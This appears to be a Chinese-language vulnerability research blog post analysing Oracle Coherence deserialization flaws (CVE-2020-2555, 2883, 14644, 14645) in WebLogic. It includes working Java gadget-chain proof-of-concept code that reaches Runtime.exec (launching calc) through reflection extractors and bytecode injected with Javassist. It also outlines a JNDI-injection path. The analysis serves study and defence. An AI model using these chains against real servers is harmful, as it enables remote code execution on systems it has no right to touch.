前言 今年的几个 Coherence 相关反序列化漏洞,搞一波。
环境搭建 先简单搭一个 WebLogic 的环境,下载地址 ,WebLogic 中集成了 Coherence :参考文章 。
然后把后面要用到的两个 jar 提出来放到一个新建的项目里面:参考文章 。
wlfullclient.jar(weblogic 的基本所有功能类),在 wlserver\server\lib 目录下执行:
1 java -jar ..\..\modules\com.bea.core.jarbuilder.jar
coherence.jar(coherence 的相关包),找这个 jar 的时候被坑到了,有的文章说在 wlserver\server\lib\console-ext\autodeploy 目录下,我本地查看的时候发现这个 jar 里面并没有关键的 com.tangosol 包,所以后来我自己找了找,找到的 jar 在 coherence\lib 目录下。
放好 jar 之后在 IDEA 中右键 Add as Library 就可以导入项目,最后是这个样子:
zip 压缩包是用 jd-gui 反编译出来的源码包(反编译出来的代码好像对齐了行号,方便调试),用于之后的漏洞分析。
CVE-2020-2555 漏洞分析 打算从补丁出发自己看一看反序列化链,但是我没有 Support Identifier 好像下载不了补丁,贴一张参考文章 的图吧:
可以看到修复是去掉了 LimitFilter 类 toString 函数的 extractor.extract 调用, 所以入口点是 JDK 中的 BadAttributeValueExpException 类,而下一步要寻找一个实现了 ValueExtractor 接口的类,然后观察他的 extract 函数。
全局搜索一下,可以看到一个包 com.tangosol.util.extractor,我们想找的类都在这里面了,我们一个个看这些 Extractor。
没有实现接口,要看它的父类。
AbstractCompositeExtractor 的父类,extract 函数实现如下:
1 2 3 4 5 6 7 public E extract (T oTarget) { if (oTarget == null ) { return null ; } throw new UnsupportedOperationException (); }
除了个 return null 就是抛出不可控异常,看起来无法利用。
extract 函数实现如下:
1 2 3 4 5 6 7 8 public E extract (Object oTarget) { ValueExtractor[] aExtractor = getExtractors(); for (int i = 0 , c = aExtractor.length; i < c && oTarget != null ; i++) { oTarget = aExtractor[i].extract(oTarget); } return (E)oTarget; }
是一个链式的 extract 调用,或许可以作为反射链,不过与现在要寻找的利用类无关,先放置一旁。
extract 函数实现如下:
1 2 3 4 5 6 7 8 9 10 11 public E extract (Object oTarget) { ValueExtractor[] aExtractor = getExtractors(); Comparator comparator = getComparator(); Object o1 = aExtractor[0 ].extract(oTarget); Object o2 = aExtractor[1 ].extract(oTarget); if (o1 instanceof Number && o2 instanceof Number && comparator == null ) { ... } return (E)Integer.valueOf( SafeComparator.compareSafe(comparator, o1, o2)); }
上面有一大段 Number 类型才能执行的代码,跳过,可以看到最后会调用 SafeComparator.compareSafe:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public static int compareSafe (Comparator<Object> comparator, Object o1, Object o2, boolean fNullFirst) { if (comparator != null ) { try { return comparator.compare(o1, o2); } catch (NullPointerException nullPointerException) {} } if (o1 == null ) { return (o2 == null ) ? 0 : (fNullFirst ? -1 : 1 ); } if (o2 == null ) { return fNullFirst ? 1 : -1 ; } return ((Comparable<Object>)o1).compareTo(o2); }
最后一个参数 fNullFirst 默认为 true,这里会调用 comparator.compare,可以连接到实现了 Comparator 接口的类的 compare 函数。
除此之外后面还调用了 compareTo,也可以连接到实现了 Comparable 接口的类的 compareTo 函数。
extract 函数实现如下:
1 2 3 public E extract (Object oTarget) { throw new UnsupportedOperationException ("ConditionalExtractor may not be used as an extractor." ); }
直接抛出了异常,无法利用。
DeserializationAccelerator extract 函数实现如下:
1 2 3 public Object extract (Object oTarget) { throw new UnsupportedOperationException ("DeserializationAccelerator may not be used as an extractor." ); }
直接抛出了异常,无法利用。
没有实现 extract,用的是父类 AbstractExtractor 的。
extract 函数实现如下:
1 2 3 public T extract (T target) { return target; }
会直接返回传入的对象,可以配合 ComparisonValueExtractor 使用。
extract 函数实现如下:
1 2 3 public E extract (T oTarget) { return (E)this .m_extractor.extract(oTarget); }
又调用了一遍 extract,没有太大意义。
extract 函数实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public Object extract (Object oTarget) { if (oTarget == null ) { return null ; } ValueExtractor[] aExtractor = getExtractors(); int cExtractors = aExtractor.length; Object[] aValue = new Object [cExtractors]; for (int i = 0 ; i < cExtractors; i++) { aValue[i] = aExtractor[i].extract(oTarget); } return new ImmutableArrayList (aValue); }
相当于调用了多次 extract,每次调用之间互不影响。
没有实现 extract,用的是父类 AbstractExtractor 的。
好家伙,一看名字反射就感觉不对劲了,extract 函数实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public E extract (T oTarget) { if (oTarget == null ) { return null ; } Class<?> clz = oTarget.getClass(); try { Method method = this .m_methodPrev; if (method == null || method.getDeclaringClass() != clz) { this .m_methodPrev = method = ClassHelper.findMethod(clz, getMethodName(), ClassHelper.getClassArray(this .m_aoParam), false ); } return (E)method.invoke(oTarget, this .m_aoParam); } catch (NullPointerException e) { throw new RuntimeException (suggestExtractFailureCause(clz)); } catch (Exception e) { throw ensureRuntimeException(e, clz .getName() + this + '(' + oTarget + ')' ); } }
确实是好家伙,一个显眼的反射调用函数,配合 ChainedExtractor 似乎可以实现反射链。
漏洞利用 拼接一下,简单的本地测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 public class Main { private static Field getField (Class clz, String fieldName) { Field field = null ; try { field = clz.getDeclaredField(fieldName); }catch (NoSuchFieldException e) { if (!clz.getSuperclass().equals(Object.class)) { field = getField(clz.getSuperclass(), fieldName); } } if (field != null ) { field.setAccessible(true ); } return field; } private static Object getFieldValue (Object obj, String fieldName) throws IllegalAccessException { Field field = getField(obj.getClass(), fieldName); return field.get(obj); } private static void setFieldValue (Object obj, String fieldName, Object value) throws IllegalAccessException { Field field = getField(obj.getClass(), fieldName); if (field != null ) { field.set(obj, value); } } private static byte [] serialize(Object obj) throws IOException { ByteArrayOutputStream bos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (bos); oos.writeObject(obj); return bos.toByteArray(); } private static void deserialize (byte [] s) throws IOException, ClassNotFoundException { ByteArrayInputStream bos = new ByteArrayInputStream (s); ObjectInputStream oos = new ObjectInputStream (bos); oos.readObject(); } @SuppressWarnings("ThrowableNotThrown") public static void main (String[] args) throws Exception { ValueExtractor[] valueExtractorsArray = new ValueExtractor []{ new ReflectionExtractor ("getMethod" , new Object []{"getRuntime" , new Class [0 ]}, 1 ), new ReflectionExtractor ("invoke" , new Object []{null , new Object [0 ]}, 1 ), new ReflectionExtractor ("exec" , new Object []{new String []{"calc" }}) }; ChainedExtractor chainedExtractor = new ChainedExtractor <>(valueExtractorsArray); LimitFilter limitFilter = new LimitFilter (); setFieldValue(limitFilter, "m_comparator" , chainedExtractor); setFieldValue(limitFilter, "m_oAnchorTop" , Runtime.class); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setFieldValue(badAttributeValueExpException, "val" , limitFilter); byte [] poc = serialize(badAttributeValueExpException); deserialize(poc); } }
听说还有 EL 表达式注入的利用方式,参考文章 ,用的可能是之前提到过的 javax.el.ELProcessor 类吧,就不加研究了。
漏洞修复 参加上面的图。
CVE-2020-2883 漏洞分析 可以算是 CVE-2020-2555 的绕过,在 LimitFilter 类的 toString 被修复了的情况下,要找到其他方式连接起 readObject 和 extract,这篇参考文章 里面给出了两个 payload。
漏洞利用 PriorityQueue 参考之前 apache-commons-collections 的利用链,PriorityQueue 类可以用来连接 readObject 和 compare,所以我们还需要找到一个可利用的 compare 函数。
全局搜索一下 extractor.extract 的调用,可以看到一个类 ExtractorComparator,它的 compare 函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 public int compare (T o1, T o2) { Comparable<Comparable> a1 = (o1 instanceof InvocableMap.Entry) ? (Comparable)((InvocableMap.Entry)o1).extract(this .m_extractor) : (Comparable)this .m_extractor.extract(o1); Comparable a2 = (o2 instanceof InvocableMap.Entry) ? (Comparable)((InvocableMap.Entry)o2).extract(this .m_extractor) : (Comparable)this .m_extractor.extract(o2); if (a1 == null ) { return (a2 == null ) ? 0 : -1 ; } if (a2 == null ) { return 1 ; } return a1.compareTo(a2); }
可以看到一句:
1 (Comparable)this .m_extractor.extract(o1)
所以我们可以用这个类连接起 compare 和 extract,拼接一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @SuppressWarnings({"ThrowableNotThrown", "unchecked"}) public static void main (String[] args) throws Exception { ValueExtractor[] valueExtractorsArray = new ValueExtractor []{ new ReflectionExtractor ("getMethod" , new Object []{"getRuntime" , new Class [0 ]}, 1 ), new ReflectionExtractor ("invoke" , new Object []{null , new Object [0 ]}, 1 ), new ReflectionExtractor ("exec" , new Object []{new String []{"calc" }}) }; ChainedExtractor chainedExtractor = new ChainedExtractor <>(valueExtractorsArray); ExtractorComparator extractorComparator = new ExtractorComparator (); setFieldValue(extractorComparator, "m_extractor" , chainedExtractor); PriorityQueue priorityQueue = new PriorityQueue (2 , null ); priorityQueue.add(1 ); priorityQueue.add(1 ); Object[] queue = (Object[])getFieldValue(priorityQueue, "queue" ); queue[0 ] = Runtime.class; queue[1 ] = 1 ; setFieldValue(priorityQueue, "comparator" , extractorComparator); byte [] poc = serialize(priorityQueue); deserialize(poc); }
除了 ExtractorComparator,还可以利用 MultiExtractor 类,这个类的 extract 如上文所说可以调用其他 extract,而且它没有实现 compare 函数,使用的是父类的 AbstractExtractor 的 compare 函数:
1 2 3 public int compare (Object o1, Object o2) { return SafeComparator.compareSafe(null , extract((T)o1), extract((T)o2)); }
不得不说还挺巧妙的,拼一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @SuppressWarnings({"ThrowableNotThrown", "unchecked"}) public static void main (String[] args) throws Exception { ValueExtractor[] valueExtractorsArray = new ValueExtractor []{ new ReflectionExtractor ("getMethod" , new Object []{"getRuntime" , new Class [0 ]}, 1 ), new ReflectionExtractor ("invoke" , new Object []{null , new Object [0 ]}, 1 ), new ReflectionExtractor ("exec" , new Object []{new String []{"calc" }}) }; ChainedExtractor chainedExtractor = new ChainedExtractor <>(valueExtractorsArray); MultiExtractor multiExtractor = new MultiExtractor (); setFieldValue(multiExtractor, "m_aExtractor" , new ValueExtractor []{chainedExtractor}); PriorityQueue priorityQueue = new PriorityQueue (2 , null ); priorityQueue.add(1 ); priorityQueue.add(1 ); Object[] queue = (Object[])getFieldValue(priorityQueue, "queue" ); queue[0 ] = Runtime.class; queue[1 ] = 1 ; setFieldValue(priorityQueue, "comparator" , multiExtractor); byte [] poc = serialize(priorityQueue); deserialize(poc); }
或许还有更多的链,我就懒得继续找了。
toString 有点复杂,Mutations 类的 toString:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public String toString () { StringBuilder buf = new StringBuilder (); if (this .renamers.size() > 0 ) { buf.append(this .renamers.values()); } if (this .deleters.size() > 0 ) { buf.append(this .deleters.values()); } if (this .converters.size() > 0 ) { buf.append(this .converters.values()); } if (buf.length() > 0 ) { return buf.toString(); } return "[Empty Mutations]" ; } }
ConcurrentSkipListMap$SubMap 类的 size:
1 2 3 4 5 6 7 8 9 10 11 public int size () { Comparator<? super K> cmp = m.comparator; long count = 0 ; for (ConcurrentSkipListMap.Node<K,V> n = loNode(cmp); isBeforeEnd(n, cmp); n = n.next) { if (n.getValidValue() != null ) ++count; } return count >= Integer.MAX_VALUE ? Integer.MAX_VALUE : (int )count; }
isBeforeEnd:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 boolean isBeforeEnd (ConcurrentSkipListMap.Node<K,V> n, Comparator<? super K> cmp) { if (n == null ) return false ; if (hi == null ) return true ; K k = n.key; if (k == null ) return true ; int c = cpr(cmp, k, hi); if (c > 0 || (c == 0 && !hiInclusive)) return false ; return true ; }
ConcurrentSkipListMap 类的 cpr:
1 2 3 static final int cpr (Comparator c, Object x, Object y) { return (c != null ) ? c.compare(x, y) : ((Comparable)x).compareTo(y); }
可以接上 compare,拼一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 @SuppressWarnings({"ThrowableNotThrown", "unchecked"}) public static void main (String[] args) throws Exception { ValueExtractor[] valueExtractorsArray = new ValueExtractor []{ new ReflectionExtractor ("getMethod" , new Object []{"getRuntime" , new Class [0 ]}, 1 ), new ReflectionExtractor ("invoke" , new Object []{null , new Object [0 ]}, 1 ), new ReflectionExtractor ("exec" , new Object []{new String []{"calc" }}) }; ChainedExtractor chainedExtractor = new ChainedExtractor <>(valueExtractorsArray); ExtractorComparator extractorComparator = new ExtractorComparator (); setFieldValue(extractorComparator, "m_extractor" , chainedExtractor); HashMap hashMap = new HashMap (); hashMap.put("replacement" , "Twings" ); Object[] hashMapTable = (Object[])getFieldValue(hashMap, "table" ); Object hashMapNode = hashMapTable[13 ]; setFieldValue(hashMapNode, "key" , Runtime.class); ConcurrentSkipListMap concurrentSkipListMap = new ConcurrentSkipListMap (hashMap); setFieldValue(concurrentSkipListMap, "comparator" , extractorComparator); Constructor ctr = Class.forName("java.util.concurrent.ConcurrentSkipListMap$SubMap" ).getDeclaredConstructors()[0 ]; ctr.setAccessible(true ); Object submap = ctr.newInstance(concurrentSkipListMap, null , false , null , false , false ); setFieldValue(submap, "hi" , "Twings" ); Mutations mutations = new Mutations (); setFieldValue(mutations, "renamers" , submap); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); setFieldValue(badAttributeValueExpException, "val" , mutations); byte [] poc = serialize(badAttributeValueExpException); deserialize(poc); }
漏洞修复 按照参考文章所说,将 ReflectionExtractor 列入了黑名单。
CVE-2020-14644 defineClass 参考文章1 ,参考文章2 ,一个 Java 类要加载到 JVM 中要经过三个步骤:
我们一般会使用 Class.forName 或者 ClassLoader.loadClass 加载类,Class.forName 默认会对静态数据(代码、变量)进行初始化,而 ClassLoader.loadClass 默认不进行。
除了用这两个函数从本地加载类,我们还可以通过 defineClass 从字节码中加载类,参考文章 ,贴一张参考文章的图:
这个函数有四个参数,分别是类名、字节码、类字节码起始偏移以及类字节码长度。虽然 defineClass 可以从字节码中加载一个类,但是它并不会进行初始化,所以如果想要实现利用,还需要对该类进行实例化等操作。
漏洞分析 参考文章1 ,参考文章2 。
入口点在 RemoteConstructor 类的 readResolve 函数(readResolve 函数操作位于 readObject 之后,一般用于实现单例模式):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 public Object readResolve () throws ObjectStreamException { return newInstance(); } public T newInstance () { RemotableSupport support = RemotableSupport.get(getClassLoader()); return support.realize(this ); } protected ClassLoader getClassLoader () { ClassLoader loader = this .m_loader; return (loader == null ) ? Base.getContextClassLoader(this ) : loader; } public static RemotableSupport get (ClassLoader loader) { return (loader instanceof RemotableSupport) ? (RemotableSupport)loader : s_mapByClassLoader.computeIfAbsent(Base.ensureClassLoader(loader), RemotableSupport::new ); } public <T> T realize (RemoteConstructor<T> constructor) { ClassDefinition definition = registerIfAbsent(constructor.getDefinition()); Class<? extends Remotable > clz = definition.getRemotableClass(); if (clz == null ) synchronized (definition) { clz = definition.getRemotableClass(); if (clz == null ) definition.setRemotableClass(defineClass(definition)); } Remotable<T> instance = (Remotable<T>)definition.createInstance(constructor.getArguments()); instance.setRemoteConstructor(constructor); return (T)instance; } protected Class<? extends Remotable > defineClass(ClassDefinition definition) { String sBinClassName = definition.getId().getName(); String sClassName = sBinClassName.replace('/' , '.' ); byte [] abClass = definition.getBytes(); definition.dumpClass(DUMP_REMOTABLE); return this .defineClass(sClassName, abClass, 0 , abClass.length); } public Object createInstance (Object... aoArgs) { try { return getConstructor(aoArgs).invokeWithArguments(aoArgs); } catch (NoSuchMethodException e) { Constructor[] aCtors = (Constructor[])this .m_clz.getDeclaredConstructors(); for (Constructor ctor : aCtors) { if ((ctor.getParameterTypes()).length == aoArgs.length) { try { return ctor.newInstance(aoArgs); } catch (InstantiationException|java.lang.reflect.InvocationTargetException|IllegalAccessException|IllegalArgumentException instantiationException) {} } }
可以看到 realize 函数中调用了一个 defineClass 函数,这里调用了父类 ClassLoader 的 defineClass 函数,可以从字节码中加载一个类。还可以看到 createInstance 函数疑似做了实例化对象的操作,但是我们不确定能否控制这个实例化的类为我们加载的类,从而执行它的构造函数来实现 RCE,我们可以先写一段简单的测试代码然后慢慢推进到:
1 2 RemoteConstructor remoteConstructor = new RemoteConstructor (); deserialize(serialize(remoteConstructor));
然后执行会得到报错:
1 2 Exception in thread "main" java.lang .NullPointerException at com.tangosol .internal .util .invoke .RemotableSupport .registerIfAbsent (RemotableSupport.java :161 )
从头开始理一遍流程,先看 getClassLoader 函数,
getClassLoader 因为 m_loader 变量是一个 transient 变量,所以这个函数的返回值不可控,调试得到的结果为 AppClassLoader:
RemotableSupport.get 因为 RemotableSupport 不是从反序列化中获取的,调用的 get 函数为一个静态函数,且 loader 为 AppClassLoader,所以返回值也不可控,这两步的返回结果为一个不可控的 RemotableSupport 对象。
support.realize 可以看到这个函数中的大部分操作都来自 definition 变量,而这个变量来自 constructor.getDefinition():
1 2 3 public ClassDefinition getDefinition () { return this .m_definition; }
这是一个 protected 变量,且其类型为可序列化的 ClassDefinition,可以通过反序列化传入来控制。
然后是 registerIfAbsent 函数:
1 2 3 4 5 protected ClassDefinition registerIfAbsent (ClassDefinition definition) { assert definition != null ; ClassDefinition rtn = this .f_mapDefinitions.putIfAbsent(definition.getId(), definition); return (rtn == null ) ? definition : rtn; }
这个函数会调用 ConcurrentHashMap 的 putIfAbsent 函数以 definition.getId() 为键将 definition 放入 f_mapDefinitions 并返回结果(题外话,反编译出来的这个类调试不能,换用 IDEA 自己的反编译),而前面的报错就是因为我们序列化的 RemoteConstructor 中没有 definition,所以这里的 definition 为 null,修改一下测试代码:
1 2 3 ClassDefinition classDefinition = new ClassDefinition ();RemoteConstructor remoteConstructor = new RemoteConstructor (classDefinition, new Object [0 ]); deserialize(serialize(remoteConstructor));
发现下一个报错:
1 2 Exception in thread "main" java.lang .NullPointerException at java.util .concurrent .ConcurrentHashMap .putVal (ConcurrentHashMap.java :1011 )
原因是 putIfAbsent 的键为空,看下这个 getId 函数:
1 2 3 public ClassIdentity getId () { return this .m_id; }
返回的同样是一个可序列化的变量,可以控制。
修改代码继续测试:
1 2 3 4 ClassIdentity classIdentity = new ClassIdentity ();ClassDefinition classDefinition = new ClassDefinition (classIdentity, null );RemoteConstructor remoteConstructor = new RemoteConstructor (classDefinition, new Object [0 ]); deserialize(serialize(remoteConstructor));
报错:
1 2 Exception in thread "main" java.lang .NullPointerException at com.tangosol .internal .util .invoke .ClassIdentity .hashCode (ClassIdentity.java :142 )
原因是 HashMap 在 put 的过程中往往要调用键的 hashCode 函数,所以我们再看看 ClassIdentity 的 hashCode 函数:
1 2 3 4 5 6 public int hashCode () { int nHash = this .m_sPackage.hashCode(); nHash = 31 * nHash + this .m_sBaseName.hashCode(); nHash = 31 * nHash + this .m_sVersion.hashCode(); return nHash; }
所以在生成 payload 的时候还需要给 ClassIdentity 传入这几个参数,这时候的代码如下:
1 2 3 4 ClassIdentity classIdentity = new ClassIdentity (Evil.class);ClassDefinition classDefinition = new ClassDefinition (classIdentity, null );RemoteConstructor remoteConstructor = new RemoteConstructor (classDefinition, new Object [0 ]); deserialize(serialize(remoteConstructor));
defineClass 下一个报错:
1 2 Exception in thread "main" java.lang.NullPointerException at com.tangosol.internal.util.invoke.RemotableSupport.defineClass(RemotableSupport.java:181 )
可以看到错误发生在 defineClass 函数,原因是我们序列化的 ClassDefinition 中没有类的字节码,我们用动态编程加上构造一个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ClassPool classPool = ClassPool.getDefault();CtClass clazz = classPool.get(Evil.class.getName());String code = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; clazz.makeClassInitializer().insertAfter(code); clazz.setName("com/example/weblogic/RCE$Twings" );byte [] classByte = clazz.toBytecode();ClassIdentity classIdentity = new ClassIdentity (); setFieldValue(classIdentity, "m_sPackage" , "com/example/weblogic" ); setFieldValue(classIdentity, "m_sBaseName" , "RCE" ); setFieldValue(classIdentity, "m_sVersion" , "Twings" );ClassDefinition classDefinition = new ClassDefinition (classIdentity, classByte);RemoteConstructor remoteConstructor = new RemoteConstructor (classDefinition, new Object [0 ]); deserialize(serialize(remoteConstructor));
然后就没有下一个报错了,计算器弹了出来,emmmmmm。
definition.setRemotableClass defineClass 从字节码中加载类之后,会调用 setRemotableClass 获取构造函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 public void setRemotableClass (Class<? extends Remotable> clz) { this .m_clz = clz; Constructor<?>[] aCtor = clz.getDeclaredConstructors(); if (aCtor.length == 1 ) { try { MethodType ctorType = MethodType.methodType(Void.TYPE, aCtor[0 ].getParameterTypes()); this .m_mhCtor = MethodHandles.publicLookup().findConstructor(clz, ctorType); } catch (IllegalAccessException | NoSuchMethodException var4) { throw Base.ensureRuntimeException(var4); } } }
当只有一个构造函数时,会将该构造函数相关的信息存入 m_mhCtor 变量。
createInstance 函数参数为 constructor.getArguments(),即实例化 RemoteConstructor 时传入的 Object[0],也就是无参函数的意思。
跟入 getConstructor 函数:
1 2 3 4 5 6 protected MethodHandle getConstructor (Object[] aoArgs) throws NoSuchMethodException { if (this .m_mhCtor != null ) { return this .m_mhCtor; } ... }
这个函数用于从加载的类中获取构造函数,但是因为我们传入的字节码类只有一个构造函数,所以查找结果与参数类型无关,会不寻找直接返回该构造函数。
然后则是 invokeWithArguments 函数,看名字明显是反射调用构造函数,于是就执行了恶意的构造函数代码。
不过最后还有一个错误:
1 Exception in thread "main" java.lang .ClassCastException : com.example .weblogic .RCE$Twings cannot be cast to com.tangosol .internal .util .invoke .Remotable
可以锦上添花解决一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath (Remotable.class));CtClass clazz = classPool.get(Evil.class.getName());CtClass remotable = classPool.get(Remotable.class.getName());String code = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; clazz.makeClassInitializer().insertAfter(code);CtMethod setRemoteConstructor = CtMethod.make("public void setRemoteConstructor(com.tangosol.internal.util.invoke.RemoteConstructor remoteConstructor){}" , clazz);CtMethod getRemoteConstructor = CtMethod.make("public com.tangosol.internal.util.invoke.RemoteConstructor getRemoteConstructor(){return null;}" , clazz); clazz.addMethod(setRemoteConstructor); clazz.addMethod(getRemoteConstructor); clazz.setName("com/example/weblogic/RCE$Twings" ); clazz.setInterfaces(new CtClass []{remotable});byte [] classByte = clazz.toBytecode();ClassIdentity classIdentity = new ClassIdentity (); setFieldValue(classIdentity, "m_sPackage" , "com/example/weblogic" ); setFieldValue(classIdentity, "m_sBaseName" , "RCE" ); setFieldValue(classIdentity, "m_sVersion" , "Twings" );ClassDefinition classDefinition = new ClassDefinition (classIdentity, classByte);RemoteConstructor remoteConstructor = new RemoteConstructor (classDefinition, new Object [0 ]); deserialize(serialize(remoteConstructor));
CVE-2020-14645 CVE-2020-14645 是 CVE-2020-2883 的绕过,在 ReflectionExtractor 被禁止了的情况下,用 UniversalExtractor 构造一条新的利用链,参考文章1 ,参考文章2 。
我们来看看 UniversalExtractor 的 extarct 函数长什么样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public E extract (T oTarget) { if (oTarget == null ) { return null ; } else { TargetReflectionDescriptor targetPrev = this .m_cacheTarget; try { if (targetPrev != null && oTarget.getClass() == targetPrev.getTargetClass()) { return targetPrev.isMap() ? ((Map)oTarget).get(this .getCanonicalName()) : targetPrev.getMethod().invoke(oTarget, this .m_aoParam); } else { return this .extractComplex(oTarget); } } catch (NullPointerException var4) { throw new RuntimeException (this .suggestExtractFailureCause(oTarget.getClass())); } catch (Exception var5) { throw ensureRuntimeException(var5, oTarget.getClass().getName() + this + '(' + oTarget + ')' ); } } }
因为变量 m_cacheTarget 是个 transient 变量,所以会执行 this.extractComplex(oTarget):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 protected E extractComplex (T oTarget) throws InvocationTargetException, IllegalAccessException { Class clzTarget = oTarget.getClass(); Object[] aoParam = this .m_aoParam; Class[] clzParam = ClassHelper.getClassArray(aoParam); String sCName = this .getCanonicalName(); boolean fProperty = this .isPropertyExtractor(); Method method = null ; if (fProperty) { String sBeanAttribute = Character.toUpperCase(sCName.charAt(0 )) + sCName.substring(1 ); for (int cchPrefix = 0 ; cchPrefix < BEAN_ACCESSOR_PREFIXES.length && method == null ; ++cchPrefix) { method = ClassHelper.findMethod(clzTarget, BEAN_ACCESSOR_PREFIXES[cchPrefix] + sBeanAttribute, clzParam, false ); } } else { method = ClassHelper.findMethod(clzTarget, this .getMethodName(), clzParam, false ); } if (method == null ) { if (fProperty && oTarget instanceof Map) { this .m_cacheTarget = new TargetReflectionDescriptor (clzTarget); return ((Map)oTarget).get(sCName); } } else { this .m_cacheTarget = new TargetReflectionDescriptor (clzTarget, method); } return method.invoke(oTarget, aoParam); }
fProperty 变量来自 isPropertyExtractor:
1 2 3 public boolean isPropertyExtractor () { return !this .m_fMethod; }
m_fMethod 也是个 transient 变量,所以 fProperty 为 true,那么接下来就会有两个选择,要么通过反射执行一次 getXXX 或者 isXXX 函数:
要么进入 method == null 的分支,调用某个 Map 类的 get 函数。
那么攻击的思路也很明确了,执行一次 getDatabaseMetaData 函数可以进行 JNDI 注入:
1 2 3 4 public DatabaseMetaData getDatabaseMetaData () throws SQLException { Connection var1 = this .connect(); return var1.getMetaData(); }
而调用 Map.get 可以用来接上 apache-commons-collections 的利用链。
Orz